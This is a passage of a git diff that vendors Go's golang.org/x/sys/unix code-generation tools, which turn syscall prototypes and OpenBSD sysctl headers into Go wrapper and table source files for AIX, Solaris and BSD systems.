-+ textcommon += "}\n"
-+
-+ if onlyCommon {
-+ continue
-+ }
-+
-+ // CALL Prototype
-+ callProto := fmt.Sprintf("func call%s(%s) (r1 uintptr, e1 Errno) {\n", sysname, strings.Join(argscall, ", "))
-+
-+ // GC function generation
-+ asm := "syscall6"
-+ if nonblock != nil {
-+ asm = "rawSyscall6"
-+ }
-+
-+ if len(argsgc) <= 6 {
-+ for len(argsgc) < 6 {
-+ argsgc = append(argsgc, "0")
-+ }
-+ } else {
-+ fmt.Fprintf(os.Stderr, "%s: too many arguments to system call", funct)
-+ os.Exit(1)
-+ }
-+ argsgclist := strings.Join(argsgc, ", ")
-+ callgc := fmt.Sprintf("%s(uintptr(unsafe.Pointer(&%s)), %d, %s)", asm, sysvarname, nargs, argsgclist)
-+
-+ textgc += callProto
-+ textgc += fmt.Sprintf("\tr1, _, e1 = %s\n", callgc)
-+ textgc += "\treturn\n}\n"
-+
-+ // GCCGO function generation
-+ argsgccgolist := strings.Join(argsgccgo, ", ")
-+ var callgccgo string
-+ if sysname == "select" {
-+ // select is a keyword of Go. Its name is
-+ // changed to c_select.
-+ callgccgo = fmt.Sprintf("C.c_%s(%s)", sysname, argsgccgolist)
-+ } else {
-+ callgccgo = fmt.Sprintf("C.%s(%s)", sysname, argsgccgolist)
-+ }
-+ textgccgo += callProto
-+ textgccgo += fmt.Sprintf("\tr1 = uintptr(%s)\n", callgccgo)
-+ textgccgo += "\te1 = syscall.GetErrno()\n"
-+ textgccgo += "\treturn\n}\n"
-+ }
-+ if err := s.Err(); err != nil {
-+ fmt.Fprintf(os.Stderr, err.Error())
-+ os.Exit(1)
-+ }
-+ file.Close()
-+ }
-+ imp := ""
-+ if pack != "unix" {
-+ imp = "import \"golang.org/x/sys/unix\"\n"
-+
-+ }
-+
-+ // Print zsyscall_aix_ppc64.go
-+ err := ioutil.WriteFile("zsyscall_aix_ppc64.go",
-+ []byte(fmt.Sprintf(srcTemplate1, cmdLine(), buildTags(), pack, imp, textcommon)),
-+ 0644)
-+ if err != nil {
-+ fmt.Fprintf(os.Stderr, err.Error())
-+ os.Exit(1)
-+ }
-+
-+ // Print zsyscall_aix_ppc64_gc.go
-+ vardecls := "\t" + strings.Join(vars, ",\n\t")
-+ vardecls += " syscallFunc"
-+ err = ioutil.WriteFile("zsyscall_aix_ppc64_gc.go",
-+ []byte(fmt.Sprintf(srcTemplate2, cmdLine(), buildTags(), pack, imp, dynimports, linknames, vardecls, textgc)),
-+ 0644)
-+ if err != nil {
-+ fmt.Fprintf(os.Stderr, err.Error())
-+ os.Exit(1)
-+ }
-+
-+ // Print zsyscall_aix_ppc64_gccgo.go
-+ err = ioutil.WriteFile("zsyscall_aix_ppc64_gccgo.go",
-+ []byte(fmt.Sprintf(srcTemplate3, cmdLine(), buildTags(), pack, cExtern, imp, textgccgo)),
-+ 0644)
-+ if err != nil {
-+ fmt.Fprintf(os.Stderr, err.Error())
-+ os.Exit(1)
-+ }
-+}
-+
-+const srcTemplate1 = `// %s
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build %s
-+
-+package %s
-+
-+import (
-+ "unsafe"
-+)
-+
-+
-+%s
-+
-+%s
-+`
-+const srcTemplate2 = `// %s
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build %s
-+// +build !gccgo
-+
-+package %s
-+
-+import (
-+ "unsafe"
-+)
-+%s
-+%s
-+%s
-+type syscallFunc uintptr
-+
-+var (
-+%s
-+)
-+
-+// Implemented in runtime/syscall_aix.go.
-+func rawSyscall6(trap, nargs, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err Errno)
-+func syscall6(trap, nargs, a1, a2, a3, a4, a5, a6 uintptr) (r1, r2 uintptr, err Errno)
-+
-+%s
-+`
-+const srcTemplate3 = `// %s
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build %s
-+// +build gccgo
-+
-+package %s
-+
-+%s
-+*/
-+import "C"
-+import (
-+ "syscall"
-+)
-+
-+
-+%s
-+
-+%s
-+`
-diff --git a/vendor/golang.org/x/sys/unix/mksyscall_solaris.go b/vendor/golang.org/x/sys/unix/mksyscall_solaris.go
-new file mode 100644
-index 00000000..675597e4
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/mksyscall_solaris.go
-@@ -0,0 +1,341 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build ignore
-+
-+/*
-+ This program reads a file containing function prototypes
-+ (like syscall_solaris.go) and generates system call bodies.
-+ The prototypes are marked by lines beginning with "//sys"
-+ and read like func declarations if //sys is replaced by func, but:
-+ * The parameter lists must give a name for each argument.
-+ This includes return parameters.
-+ * The parameter lists must give a type for each argument:
-+ the (x, y, z int) shorthand is not allowed.
-+ * If the return parameter is an error number, it must be named err.
-+ * If go func name needs to be different than its libc name,
-+ * or the function is not in libc, name could be specified
-+ * at the end, after "=" sign, like
-+ //sys getsockopt(s int, level int, name int, val uintptr, vallen *_Socklen) (err error) = libsocket.getsockopt
-+*/
-+
-+package main
-+
-+import (
-+ "bufio"
-+ "flag"
-+ "fmt"
-+ "os"
-+ "regexp"
-+ "strings"
-+)
-+
-+var (
-+ b32 = flag.Bool("b32", false, "32bit big-endian")
-+ l32 = flag.Bool("l32", false, "32bit little-endian")
-+ tags = flag.String("tags", "", "build tags")
-+ illumos = flag.Bool("illumos", false, "illumos specific code generation")
-+)
-+
-+// cmdLine returns this programs's commandline arguments
-+func cmdLine() string {
-+ return "go run mksyscall_solaris.go " + strings.Join(os.Args[1:], " ")
-+}
-+
-+// buildTags returns build tags
-+func buildTags() string {
-+ return *tags
-+}
-+
-+// Param is function parameter
-+type Param struct {
-+ Name string
-+ Type string
-+}
-+
-+// usage prints the program usage
-+func usage() {
-+ fmt.Fprintf(os.Stderr, "usage: go run mksyscall_solaris.go [-b32 | -l32] [-tags x,y] [file ...]\n")
-+ os.Exit(1)
-+}
-+
-+// parseParamList parses parameter list and returns a slice of parameters
-+func parseParamList(list string) []string {
-+ list = strings.TrimSpace(list)
-+ if list == "" {
-+ return []string{}
-+ }
-+ return regexp.MustCompile(`\s*,\s*`).Split(list, -1)
-+}
-+
-+// parseParam splits a parameter into name and type
-+func parseParam(p string) Param {
-+ ps := regexp.MustCompile(`^(\S*) (\S*)$`).FindStringSubmatch(p)
-+ if ps == nil {
-+ fmt.Fprintf(os.Stderr, "malformed parameter: %s\n", p)
-+ os.Exit(1)
-+ }
-+ return Param{ps[1], ps[2]}
-+}
-+
-+func main() {
-+ flag.Usage = usage
-+ flag.Parse()
-+ if len(flag.Args()) <= 0 {
-+ fmt.Fprintf(os.Stderr, "no files to parse provided\n")
-+ usage()
-+ }
-+
-+ endianness := ""
-+ if *b32 {
-+ endianness = "big-endian"
-+ } else if *l32 {
-+ endianness = "little-endian"
-+ }
-+
-+ pack := ""
-+ text := ""
-+ dynimports := ""
-+ linknames := ""
-+ var vars []string
-+ for _, path := range flag.Args() {
-+ file, err := os.Open(path)
-+ if err != nil {
-+ fmt.Fprintf(os.Stderr, err.Error())
-+ os.Exit(1)
-+ }
-+ s := bufio.NewScanner(file)
-+ for s.Scan() {
-+ t := s.Text()
-+ t = strings.TrimSpace(t)
-+ t = regexp.MustCompile(`\s+`).ReplaceAllString(t, ` `)
-+ if p := regexp.MustCompile(`^package (\S+)$`).FindStringSubmatch(t); p != nil && pack == "" {
-+ pack = p[1]
-+ }
-+ nonblock := regexp.MustCompile(`^\/\/sysnb `).FindStringSubmatch(t)
-+ if regexp.MustCompile(`^\/\/sys `).FindStringSubmatch(t) == nil && nonblock == nil {
-+ continue
-+ }
-+
-+ // Line must be of the form
-+ // func Open(path string, mode int, perm int) (fd int, err error)
-+ // Split into name, in params, out params.
-+ f := regexp.MustCompile(`^\/\/sys(nb)? (\w+)\(([^()]*)\)\s*(?:\(([^()]+)\))?\s*(?:=\s*(?:(\w*)\.)?(\w*))?$`).FindStringSubmatch(t)
-+ if f == nil {
-+ fmt.Fprintf(os.Stderr, "%s:%s\nmalformed //sys declaration\n", path, t)
-+ os.Exit(1)
-+ }
-+ funct, inps, outps, modname, sysname := f[2], f[3], f[4], f[5], f[6]
-+
-+ // Split argument lists on comma.
-+ in := parseParamList(inps)
-+ out := parseParamList(outps)
-+
-+ inps = strings.Join(in, ", ")
-+ outps = strings.Join(out, ", ")
-+
-+ // Try in vain to keep people from editing this file.
-+ // The theory is that they jump into the middle of the file
-+ // without reading the header.
-+ text += "// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT\n\n"
-+
-+ // So file name.
-+ if modname == "" {
-+ modname = "libc"
-+ }
-+
-+ // System call name.
-+ if sysname == "" {
-+ sysname = funct
-+ }
-+
-+ // System call pointer variable name.
-+ sysvarname := fmt.Sprintf("proc%s", sysname)
-+
-+ strconvfunc := "BytePtrFromString"
-+ strconvtype := "*byte"
-+
-+ sysname = strings.ToLower(sysname) // All libc functions are lowercase.
-+
-+ // Runtime import of function to allow cross-platform builds.
-+ dynimports += fmt.Sprintf("//go:cgo_import_dynamic libc_%s %s \"%s.so\"\n", sysname, sysname, modname)
-+ // Link symbol to proc address variable.
-+ linknames += fmt.Sprintf("//go:linkname %s libc_%s\n", sysvarname, sysname)
-+ // Library proc address variable.
-+ vars = append(vars, sysvarname)
-+
-+ // Go function header.
-+ outlist := strings.Join(out, ", ")
-+ if outlist != "" {
-+ outlist = fmt.Sprintf(" (%s)", outlist)
-+ }
-+ if text != "" {
-+ text += "\n"
-+ }
-+ text += fmt.Sprintf("func %s(%s)%s {\n", funct, strings.Join(in, ", "), outlist)
-+
-+ // Check if err return available
-+ errvar := ""
-+ for _, param := range out {
-+ p := parseParam(param)
-+ if p.Type == "error" {
-+ errvar = p.Name
-+ continue
-+ }
-+ }
-+
-+ // Prepare arguments to Syscall.
-+ var args []string
-+ n := 0
-+ for _, param := range in {
-+ p := parseParam(param)
-+ if regexp.MustCompile(`^\*`).FindStringSubmatch(p.Type) != nil {
-+ args = append(args, "uintptr(unsafe.Pointer("+p.Name+"))")
-+ } else if p.Type == "string" && errvar != "" {
-+ text += fmt.Sprintf("\tvar _p%d %s\n", n, strconvtype)
-+ text += fmt.Sprintf("\t_p%d, %s = %s(%s)\n", n, errvar, strconvfunc, p.Name)
-+ text += fmt.Sprintf("\tif %s != nil {\n\t\treturn\n\t}\n", errvar)
-+ args = append(args, fmt.Sprintf("uintptr(unsafe.Pointer(_p%d))", n))
-+ n++
-+ } else if p.Type == "string" {
-+ fmt.Fprintf(os.Stderr, path+":"+funct+" uses string arguments, but has no error return\n")
-+ text += fmt.Sprintf("\tvar _p%d %s\n", n, strconvtype)
-+ text += fmt.Sprintf("\t_p%d, _ = %s(%s)\n", n, strconvfunc, p.Name)
-+ args = append(args, fmt.Sprintf("uintptr(unsafe.Pointer(_p%d))", n))
-+ n++
-+ } else if s := regexp.MustCompile(`^\[\](.*)`).FindStringSubmatch(p.Type); s != nil {
-+ // Convert slice into pointer, length.
-+ // Have to be careful not to take address of &a[0] if len == 0:
-+ // pass nil in that case.
-+ text += fmt.Sprintf("\tvar _p%d *%s\n", n, s[1])
-+ text += fmt.Sprintf("\tif len(%s) > 0 {\n\t\t_p%d = &%s[0]\n\t}\n", p.Name, n, p.Name)
-+ args = append(args, fmt.Sprintf("uintptr(unsafe.Pointer(_p%d))", n), fmt.Sprintf("uintptr(len(%s))", p.Name))
-+ n++
-+ } else if p.Type == "int64" && endianness != "" {
-+ if endianness == "big-endian" {
-+ args = append(args, fmt.Sprintf("uintptr(%s>>32)", p.Name), fmt.Sprintf("uintptr(%s)", p.Name))
-+ } else {
-+ args = append(args, fmt.Sprintf("uintptr(%s)", p.Name), fmt.Sprintf("uintptr(%s>>32)", p.Name))
-+ }
-+ } else if p.Type == "bool" {
-+ text += fmt.Sprintf("\tvar _p%d uint32\n", n)
-+ text += fmt.Sprintf("\tif %s {\n\t\t_p%d = 1\n\t} else {\n\t\t_p%d = 0\n\t}\n", p.Name, n, n)
-+ args = append(args, fmt.Sprintf("uintptr(_p%d)", n))
-+ n++
-+ } else {
-+ args = append(args, fmt.Sprintf("uintptr(%s)", p.Name))
-+ }
-+ }
-+ nargs := len(args)
-+
-+ // Determine which form to use; pad args with zeros.
-+ asm := "sysvicall6"
-+ if nonblock != nil {
-+ asm = "rawSysvicall6"
-+ }
-+ if len(args) <= 6 {
-+ for len(args) < 6 {
-+ args = append(args, "0")
-+ }
-+ } else {
-+ fmt.Fprintf(os.Stderr, "%s: too many arguments to system call\n", path)
-+ os.Exit(1)
-+ }
-+
-+ // Actual call.
-+ arglist := strings.Join(args, ", ")
-+ call := fmt.Sprintf("%s(uintptr(unsafe.Pointer(&%s)), %d, %s)", asm, sysvarname, nargs, arglist)
-+
-+ // Assign return values.
-+ body := ""
-+ ret := []string{"_", "_", "_"}
-+ doErrno := false
-+ for i := 0; i < len(out); i++ {
-+ p := parseParam(out[i])
-+ reg := ""
-+ if p.Name == "err" {
-+ reg = "e1"
-+ ret[2] = reg
-+ doErrno = true
-+ } else {
-+ reg = fmt.Sprintf("r%d", i)
-+ ret[i] = reg
-+ }
-+ if p.Type == "bool" {
-+ reg = fmt.Sprintf("%d != 0", reg)
-+ }
-+ if p.Type == "int64" && endianness != "" {
-+ // 64-bit number in r1:r0 or r0:r1.
-+ if i+2 > len(out) {
-+ fmt.Fprintf(os.Stderr, "%s: not enough registers for int64 return\n", path)
-+ os.Exit(1)
-+ }
-+ if endianness == "big-endian" {
-+ reg = fmt.Sprintf("int64(r%d)<<32 | int64(r%d)", i, i+1)
-+ } else {
-+ reg = fmt.Sprintf("int64(r%d)<<32 | int64(r%d)", i+1, i)
-+ }
-+ ret[i] = fmt.Sprintf("r%d", i)
-+ ret[i+1] = fmt.Sprintf("r%d", i+1)
-+ }
-+ if reg != "e1" {
-+ body += fmt.Sprintf("\t%s = %s(%s)\n", p.Name, p.Type, reg)
-+ }
-+ }
-+ if ret[0] == "_" && ret[1] == "_" && ret[2] == "_" {
-+ text += fmt.Sprintf("\t%s\n", call)
-+ } else {
-+ text += fmt.Sprintf("\t%s, %s, %s := %s\n", ret[0], ret[1], ret[2], call)
-+ }
-+ text += body
-+
-+ if doErrno {
-+ text += "\tif e1 != 0 {\n"
-+ text += "\t\terr = e1\n"
-+ text += "\t}\n"
-+ }
-+ text += "\treturn\n"
-+ text += "}\n"
-+ }
-+ if err := s.Err(); err != nil {
-+ fmt.Fprintf(os.Stderr, err.Error())
-+ os.Exit(1)
-+ }
-+ file.Close()
-+ }
-+ imp := ""
-+ if pack != "unix" {
-+ imp = "import \"golang.org/x/sys/unix\"\n"
-+ }
-+
-+ syscallimp := ""
-+ if !*illumos {
-+ syscallimp = "\"syscall\""
-+ }
-+
-+ vardecls := "\t" + strings.Join(vars, ",\n\t")
-+ vardecls += " syscallFunc"
-+ fmt.Printf(srcTemplate, cmdLine(), buildTags(), pack, syscallimp, imp, dynimports, linknames, vardecls, text)
-+}
-+
-+const srcTemplate = `// %s
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build %s
-+
-+package %s
-+
-+import (
-+ "unsafe"
-+ %s
-+)
-+%s
-+%s
-+%s
-+var (
-+%s
-+)
-+
-+%s
-+`
-diff --git a/vendor/golang.org/x/sys/unix/mksysctl_openbsd.go b/vendor/golang.org/x/sys/unix/mksysctl_openbsd.go
-new file mode 100644
-index 00000000..b6b40990
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/mksysctl_openbsd.go
-@@ -0,0 +1,355 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build ignore
-+
-+// Parse the header files for OpenBSD and generate a Go usable sysctl MIB.
-+//
-+// Build a MIB with each entry being an array containing the level, type and
-+// a hash that will contain additional entries if the current entry is a node.
-+// We then walk this MIB and create a flattened sysctl name to OID hash.
-+
-+package main
-+
-+import (
-+ "bufio"
-+ "fmt"
-+ "os"
-+ "path/filepath"
-+ "regexp"
-+ "sort"
-+ "strings"
-+)
-+
-+var (
-+ goos, goarch string
-+)
-+
-+// cmdLine returns this programs's commandline arguments.
-+func cmdLine() string {
-+ return "go run mksysctl_openbsd.go " + strings.Join(os.Args[1:], " ")
-+}
-+
-+// buildTags returns build tags.
-+func buildTags() string {
-+ return fmt.Sprintf("%s,%s", goarch, goos)
-+}
-+
-+// reMatch performs regular expression match and stores the substring slice to value pointed by m.
-+func reMatch(re *regexp.Regexp, str string, m *[]string) bool {
-+ *m = re.FindStringSubmatch(str)
-+ if *m != nil {
-+ return true
-+ }
-+ return false
-+}
-+
-+type nodeElement struct {
-+ n int
-+ t string
-+ pE *map[string]nodeElement
-+}
-+
-+var (
-+ debugEnabled bool
-+ mib map[string]nodeElement
-+ node *map[string]nodeElement
-+ nodeMap map[string]string
-+ sysCtl []string
-+)
-+
-+var (
-+ ctlNames1RE = regexp.MustCompile(`^#define\s+(CTL_NAMES)\s+{`)
-+ ctlNames2RE = regexp.MustCompile(`^#define\s+(CTL_(.*)_NAMES)\s+{`)
-+ ctlNames3RE = regexp.MustCompile(`^#define\s+((.*)CTL_NAMES)\s+{`)
-+ netInetRE = regexp.MustCompile(`^netinet/`)
-+ netInet6RE = regexp.MustCompile(`^netinet6/`)
-+ netRE = regexp.MustCompile(`^net/`)
-+ bracesRE = regexp.MustCompile(`{.*}`)
-+ ctlTypeRE = regexp.MustCompile(`{\s+"(\w+)",\s+(CTLTYPE_[A-Z]+)\s+}`)
-+ fsNetKernRE = regexp.MustCompile(`^(fs|net|kern)_`)
-+)
-+
-+func debug(s string) {
-+ if debugEnabled {
-+ fmt.Fprintln(os.Stderr, s)
-+ }
-+}
-+
-+// Walk the MIB and build a sysctl name to OID mapping.
-+func buildSysctl(pNode *map[string]nodeElement, name string, oid []int) {
-+ lNode := pNode // local copy of pointer to node
-+ var keys []string
-+ for k := range *lNode {
-+ keys = append(keys, k)
-+ }
-+ sort.Strings(keys)
-+
-+ for _, key := range keys {
-+ nodename := name
-+ if name != "" {
-+ nodename += "."
-+ }
-+ nodename += key
-+
-+ nodeoid := append(oid, (*pNode)[key].n)
-+
-+ if (*pNode)[key].t == `CTLTYPE_NODE` {
-+ if _, ok := nodeMap[nodename]; ok {
-+ lNode = &mib
-+ ctlName := nodeMap[nodename]
-+ for _, part := range strings.Split(ctlName, ".") {
-+ lNode = ((*lNode)[part]).pE
-+ }
-+ } else {
-+ lNode = (*pNode)[key].pE
-+ }
-+ buildSysctl(lNode, nodename, nodeoid)
-+ } else if (*pNode)[key].t != "" {
-+ oidStr := []string{}
-+ for j := range nodeoid {
-+ oidStr = append(oidStr, fmt.Sprintf("%d", nodeoid[j]))
-+ }
-+ text := "\t{ \"" + nodename + "\", []_C_int{ " + strings.Join(oidStr, ", ") + " } }, \n"
-+ sysCtl = append(sysCtl, text)
-+ }
-+ }
-+}
-+
-+func main() {
-+ // Get the OS (using GOOS_TARGET if it exist)
-+ goos = os.Getenv("GOOS_TARGET")
-+ if goos == "" {
-+ goos = os.Getenv("GOOS")
-+ }
-+ // Get the architecture (using GOARCH_TARGET if it exists)
-+ goarch = os.Getenv("GOARCH_TARGET")
-+ if goarch == "" {
-+ goarch = os.Getenv("GOARCH")
-+ }
-+ // Check if GOOS and GOARCH environment variables are defined
-+ if goarch == "" || goos == "" {
-+ fmt.Fprintf(os.Stderr, "GOARCH or GOOS not defined in environment\n")
-+ os.Exit(1)
-+ }
-+
-+ mib = make(map[string]nodeElement)
-+ headers := [...]string{
-+ `sys/sysctl.h`,
-+ `sys/socket.h`,
-+ `sys/tty.h`,
-+ `sys/malloc.h`,
-+ `sys/mount.h`,
-+ `sys/namei.h`,
-+ `sys/sem.h`,
-+ `sys/shm.h`,
-+ `sys/vmmeter.h`,
-+ `uvm/uvmexp.h`,
-+ `uvm/uvm_param.h`,
-+ `uvm/uvm_swap_encrypt.h`,
-+ `ddb/db_var.h`,
-+ `net/if.h`,
-+ `net/if_pfsync.h`,
-+ `net/pipex.h`,
-+ `netinet/in.h`,
-+ `netinet/icmp_var.h`,
-+ `netinet/igmp_var.h`,
-+ `netinet/ip_ah.h`,
-+ `netinet/ip_carp.h`,
-+ `netinet/ip_divert.h`,
-+ `netinet/ip_esp.h`,
-+ `netinet/ip_ether.h`,
-+ `netinet/ip_gre.h`,
-+ `netinet/ip_ipcomp.h`,
-+ `netinet/ip_ipip.h`,
-+ `netinet/pim_var.h`,
-+ `netinet/tcp_var.h`,
-+ `netinet/udp_var.h`,
-+ `netinet6/in6.h`,
-+ `netinet6/ip6_divert.h`,
-+ `netinet6/pim6_var.h`,
-+ `netinet/icmp6.h`,
-+ `netmpls/mpls.h`,
-+ }
-+
-+ ctls := [...]string{
-+ `kern`,
-+ `vm`,
-+ `fs`,
-+ `net`,
-+ //debug /* Special handling required */
-+ `hw`,
-+ //machdep /* Arch specific */
-+ `user`,
-+ `ddb`,
-+ //vfs /* Special handling required */
-+ `fs.posix`,
-+ `kern.forkstat`,
-+ `kern.intrcnt`,
-+ `kern.malloc`,
-+ `kern.nchstats`,
-+ `kern.seminfo`,
-+ `kern.shminfo`,
-+ `kern.timecounter`,
-+ `kern.tty`,
-+ `kern.watchdog`,
-+ `net.bpf`,
-+ `net.ifq`,
-+ `net.inet`,
-+ `net.inet.ah`,
-+ `net.inet.carp`,
-+ `net.inet.divert`,
-+ `net.inet.esp`,
-+ `net.inet.etherip`,
-+ `net.inet.gre`,
-+ `net.inet.icmp`,
-+ `net.inet.igmp`,
-+ `net.inet.ip`,
-+ `net.inet.ip.ifq`,
-+ `net.inet.ipcomp`,
-+ `net.inet.ipip`,
-+ `net.inet.mobileip`,
-+ `net.inet.pfsync`,
-+ `net.inet.pim`,
-+ `net.inet.tcp`,
-+ `net.inet.udp`,
-+ `net.inet6`,
-+ `net.inet6.divert`,
-+ `net.inet6.ip6`,
-+ `net.inet6.icmp6`,
-+ `net.inet6.pim6`,
-+ `net.inet6.tcp6`,
-+ `net.inet6.udp6`,
-+ `net.mpls`,
-+ `net.mpls.ifq`,
-+ `net.key`,
-+ `net.pflow`,
-+ `net.pfsync`,
-+ `net.pipex`,
-+ `net.rt`,
-+ `vm.swapencrypt`,
-+ //vfsgenctl /* Special handling required */
-+ }
-+
-+ // Node name "fixups"
-+ ctlMap := map[string]string{
-+ "ipproto": "net.inet",
-+ "net.inet.ipproto": "net.inet",
-+ "net.inet6.ipv6proto": "net.inet6",
-+ "net.inet6.ipv6": "net.inet6.ip6",
-+ "net.inet.icmpv6": "net.inet6.icmp6",
-+ "net.inet6.divert6": "net.inet6.divert",
-+ "net.inet6.tcp6": "net.inet.tcp",
-+ "net.inet6.udp6": "net.inet.udp",
-+ "mpls": "net.mpls",
-+ "swpenc": "vm.swapencrypt",
-+ }
-+
-+ // Node mappings
-+ nodeMap = map[string]string{
-+ "net.inet.ip.ifq": "net.ifq",
-+ "net.inet.pfsync": "net.pfsync",
-+ "net.mpls.ifq": "net.ifq",
-+ }
-+
-+ mCtls := make(map[string]bool)
-+ for _, ctl := range ctls {
-+ mCtls[ctl] = true
-+ }
-+
-+ for _, header := range headers {
-+ debug("Processing " + header)
-+ file, err := os.Open(filepath.Join("/usr/include", header))
-+ if err != nil {
-+ fmt.Fprintf(os.Stderr, "%v\n", err)
-+ os.Exit(1)
-+ }
-+ s := bufio.NewScanner(file)
-+ for s.Scan() {
-+ var sub []string
-+ if reMatch(ctlNames1RE, s.Text(), &sub) ||
-+ reMatch(ctlNames2RE, s.Text(), &sub) ||
-+ reMatch(ctlNames3RE, s.Text(), &sub) {
-+ if sub[1] == `CTL_NAMES` {
-+ // Top level.
-+ node = &mib
-+ } else {
-+ // Node.
-+ nodename := strings.ToLower(sub[2])
-+ ctlName := ""
-+ if reMatch(netInetRE, header, &sub) {
-+ ctlName = "net.inet." + nodename
-+ } else if reMatch(netInet6RE, header, &sub) {
-+ ctlName = "net.inet6." + nodename
-+ } else if reMatch(netRE, header, &sub) {
-+ ctlName = "net." + nodename
-+ } else {
-+ ctlName = nodename
-+ ctlName = fsNetKernRE.ReplaceAllString(ctlName, `$1.`)
-+ }
-+
-+ if val, ok := ctlMap[ctlName]; ok {
-+ ctlName = val
-+ }
-+ if _, ok := mCtls[ctlName]; !ok {
-+ debug("Ignoring " + ctlName + "...")
-+ continue
-+ }
-+
-+ // Walk down from the top of the MIB.
-+ node = &mib
-+ for _, part := range strings.Split(ctlName, ".") {
-+ if _, ok := (*node)[part]; !ok {
-+ debug("Missing node " + part)
-+ (*node)[part] = nodeElement{n: 0, t: "", pE: &map[string]nodeElement{}}
-+ }
-+ node = (*node)[part].pE
-+ }
-+ }
-+
-+ // Populate current node with entries.
-+ i := -1
-+ for !strings.HasPrefix(s.Text(), "}") {
-+ s.Scan()
-+ if reMatch(bracesRE, s.Text(), &sub) {
-+ i++
-+ }
-+ if !reMatch(ctlTypeRE, s.Text(), &sub) {
-+ continue
-+ }
-+ (*node)[sub[1]] = nodeElement{n: i, t: sub[2], pE: &map[string]nodeElement{}}
-+ }
-+ }
-+ }
-+ err = s.Err()
-+ if err != nil {
-+ fmt.Fprintf(os.Stderr, "%v\n", err)
-+ os.Exit(1)
-+ }
-+ file.Close()
-+ }
-+ buildSysctl(&mib, "", []int{})
-+
-+ sort.Strings(sysCtl)
-+ text := strings.Join(sysCtl, "")
-+
-+ fmt.Printf(srcTemplate, cmdLine(), buildTags(), text)
-+}
-+
-+const srcTemplate = `// %s
-+// Code generated by the command above; DO NOT EDIT.
-+
-+// +build %s
-+
-+package unix
-+
-+type mibentry struct {
-+ ctlname string
-+ ctloid []_C_int
-+}
-+
-+var sysctlMib = []mibentry {
-+%s
-+}
-+`
-diff --git a/vendor/golang.org/x/sys/unix/mksysnum.go b/vendor/golang.org/x/sys/unix/mksysnum.go
-new file mode 100644
-index 00000000..baa6ecd8
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/mksysnum.go
-@@ -0,0 +1,190 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build ignore
-+
-+// Generate system call table for DragonFly, NetBSD,
-+// FreeBSD, OpenBSD or Darwin from master list
-+// (for example, /usr/src/sys/kern/syscalls.master or
-+// sys/syscall.h).
-+package main
-+
-+import (
-+ "bufio"
-+ "fmt"
-+ "io"
-+ "io/ioutil"
-+ "net/http"
-+ "os"
-+ "regexp"
-+ "strings"
-+)
-+
-+var (
-+ goos, goarch string
-+)
-+
-+// cmdLine returns this programs's commandline arguments
-+func cmdLine() string {
-+ return "go run mksysnum.go " + strings.Join(os.Args[1:], " ")
-+}
-+
-+// buildTags returns build tags
-+func buildTags() string {
-+ return fmt.Sprintf("%s,%s", goarch, goos)
-+}
-+
-+func checkErr(err error) {
-+ if err != nil {
-+ fmt.Fprintf(os.Stderr, "%v\n", err)
-+ os.Exit(1)
-+ }
-+}
-+
-+// source string and substring slice for regexp
-+type re struct {
-+ str string // source string
-+ sub []string // matched sub-string
-+}
-+
-+// Match performs regular expression match
-+func (r *re) Match(exp string) bool {
-+ r.sub = regexp.MustCompile(exp).FindStringSubmatch(r.str)
-+ if r.sub != nil {
-+ return true
-+ }
-+ return false
-+}
-+
-+// fetchFile fetches a text file from URL
-+func fetchFile(URL string) io.Reader {
-+ resp, err := http.Get(URL)
-+ checkErr(err)
-+ defer resp.Body.Close()
-+ body, err := ioutil.ReadAll(resp.Body)
-+ checkErr(err)
-+ return strings.NewReader(string(body))
-+}
-+
-+// readFile reads a text file from path
-+func readFile(path string) io.Reader {
-+ file, err := os.Open(os.Args[1])
-+ checkErr(err)
-+ return file
-+}
-+
-+func format(name, num, proto string) string {
-+ name = strings.ToUpper(name)
-+ // There are multiple entries for enosys and nosys, so comment them out.
-+ nm := re{str: name}
-+ if nm.Match(`^SYS_E?NOSYS$`) {
-+ name = fmt.Sprintf("// %s", name)
-+ }
-+ if name == `SYS_SYS_EXIT` {
-+ name = `SYS_EXIT`
-+ }
-+ return fmt.Sprintf(" %s = %s; // %s\n", name, num, proto)
-+}
-+
-+func main() {
-+ // Get the OS (using GOOS_TARGET if it exist)
-+ goos = os.Getenv("GOOS_TARGET")
-+ if goos == "" {
-+ goos = os.Getenv("GOOS")
-+ }
-+ // Get the architecture (using GOARCH_TARGET if it exists)
-+ goarch = os.Getenv("GOARCH_TARGET")
-+ if goarch == "" {
-+ goarch = os.Getenv("GOARCH")
-+ }
-+ // Check if GOOS and GOARCH environment variables are defined
-+ if goarch == "" || goos == "" {
-+ fmt.Fprintf(os.Stderr, "GOARCH or GOOS not defined in environment\n")
-+ os.Exit(1)
-+ }
-+
-+ file := strings.TrimSpace(os.Args[1])
-+ var syscalls io.Reader
-+ if strings.HasPrefix(file, "https://") || strings.HasPrefix(file, "http://") {
-+ // Download syscalls.master file
-+ syscalls = fetchFile(file)
-+ } else {
-+ syscalls = readFile(file)
-+ }
-+
-+ var text, line string
-+ s := bufio.NewScanner(syscalls)
-+ for s.Scan() {
-+ t := re{str: line}
-+ if t.Match(`^(.*)\\$`) {
-+ // Handle continuation
-+ line = t.sub[1]
-+ line += strings.TrimLeft(s.Text(), " \t")
-+ } else {
-+ // New line
-+ line = s.Text()
-+ }
-+ t = re{str: line}
-+ if t.Match(`\\$`) {
-+ continue
-+ }
-+ t = re{str: line}
-+
-+ switch goos {
-+ case "dragonfly":
-+ if t.Match(`^([0-9]+)\s+STD\s+({ \S+\s+(\w+).*)$`) {
-+ num, proto := t.sub[1], t.sub[2]
-+ name := fmt.Sprintf("SYS_%s", t.sub[3])
